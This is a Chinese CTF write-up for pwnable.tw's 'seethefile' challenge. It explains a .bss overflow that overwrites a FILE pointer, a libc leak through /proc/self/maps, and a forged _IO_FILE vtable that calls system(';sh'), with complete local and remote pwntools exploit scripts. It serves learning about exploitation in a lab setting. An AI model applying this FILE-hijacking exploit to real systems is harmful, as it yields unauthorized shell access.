0%

pwnable.tw writeup-seethefile

第一次做iofile类型的题目,也花了不少时间去学习,照例记录一下吧。

代码审计

程序大致内容是,打开指定的文件,读出数据,打印出来,不能打开名为_flag_的文件。

case 5:
printf("Leave your name :");
__isoc99_scanf("%s", name);
printf("Thank you %s ,see you next time\n", name);
if ( fp )
fclose(fp);
exit(0);
return result;

switch(5)时,往name中输入数据时,有一个溢出漏洞。如下,name在*.bss段,而fp就在name下方0x20个字节处,故我们可以溢出name*覆盖fp

.bss:0804B260 name            db 20h dup(?)           ; DATA XREF: main+9F↑o
.bss:0804B260 ; main+B4↑o
.bss:0804B280 public fp
.bss:0804B280 ; FILE *fp
.bss:0804B280 fp dd ? ; DATA XREF: openfile+6↑r
.bss:0804B280 ; openfile+AD↑w ...
.bss:0804B280 _bss ends
.bss:0804B280

思路

泄漏libc

​ 由于可以读取指定文件的数据,故可以直接利用linuxproc伪文件系统,读取/proc/self/maps即可获得libc基址。不过一次只能读取0x18字节,可能要多读取几次。

openfile('/proc/self/maps')
readfile()
writefile()
readfile()
writefile()
p.recvuntil('[heap]\n')
libc_base = int(p.recv(8),16)+0x1000
log_addr("libc_base")

构造_fake_file

32位里filevtable的偏移为0x94,对于伪造file,有如下解释:

  • 偏移为0处设置为0xffffdfff
  • 偏移为4处设置为要执行的指令字符串
  • 然后用垃圾字节填充至vtable
fake_FILE = 0x804b280+0x4   #p区域的首地址是0x804b284
payload = b'a'*0x20+p32(fake_FILE) #fp指向p区域
payload+= p32(0xffffdfff)+b';sh'+b'\x00'*(0x94-0x4-0x3)
#在p区域设置size为0x94字节的file(_IO_FILE file;)
payload+= p32(fake_FILE+0x90)+p32(system_addr)
#覆盖vtable为system_addr的地址
exit_with_name(payload)

本题给的libc版本为2.23,libc2.24以下的版本没有对虚表进行检查,所以直接伪造即可。

exp

本地

from tools import *
p = process("./seethefile")
debug(p,0x08048AE0)
elf = ELF("./seethefile")
libc = ELF("/home/wen/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc.so.6")

def openfile(name):
p.sendlineafter("Your choice :",str(1))
p.sendlineafter("What do you want to see :",name)
def readfile():
p.sendlineafter("Your choice :",str(2))
def writefile():
p.sendlineafter("Your choice :",str(3))
def closefile():
p.sendlineafter("Your choice :",str(4))
def exit_with_name(name):
p.sendlineafter("Your choice :",str(5))
p.sendlineafter("Leave your name :",name)

openfile('/proc/self/maps')
readfile()
writefile()
readfile()
writefile()
p.recvuntil('[heap]\n')
libc_base = int(p.recv(8),16)+0x1000
log_addr("libc_base")
system_addr = libc_base+libc.sym['system']

fake_FILE = 0x804b280+0x4
payload = b'a'*0x20+p32(fake_FILE)
payload+= p32(0xffffdfff)+b';sh'+b'\x00'*(0x94-0x4-0x3)
payload+= p32(fake_FILE+0x90)+p32(system_addr)
exit_with_name(payload)

p.interactive()

远程

from tools import *
# p = process("./seethefile")
p = remote("chall.pwnable.tw",10200)
debug(p,0x08048AE0)
elf = ELF("./seethefile")
# libc = ELF("/home/wen/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc.so.6")
libc = ELF("./libc_32.so.6")

def openfile(name):
p.sendlineafter("Your choice :",str(1))
p.sendlineafter("What do you want to see :",name)
def readfile():
p.sendlineafter("Your choice :",str(2))
def writefile():
p.sendlineafter("Your choice :",str(3))
def closefile():
p.sendlineafter("Your choice :",str(4))
def exit_with_name(name):
p.sendlineafter("Your choice :",str(5))
p.sendlineafter("Leave your name :",name)

openfile('/proc/self/maps')
readfile()
writefile()
# readfile()
# writefile()
p.recvuntil('[heap]\n')
libc_base = int(p.recv(8),16)+0x1000
log_addr("libc_base")
system = libc_base+libc.sym['system']

fake_FILE = 0x804b280+0x4
payload = b'a'*0x20+p32(fake_FILE)
payload+= p32(0xffffdfff)+b';sh'+b'\x00'*0x8d+p32(fake_FILE+0x98)
payload+= p32(0)*2+p32(system)
exit_with_name(payload)

p.interactive()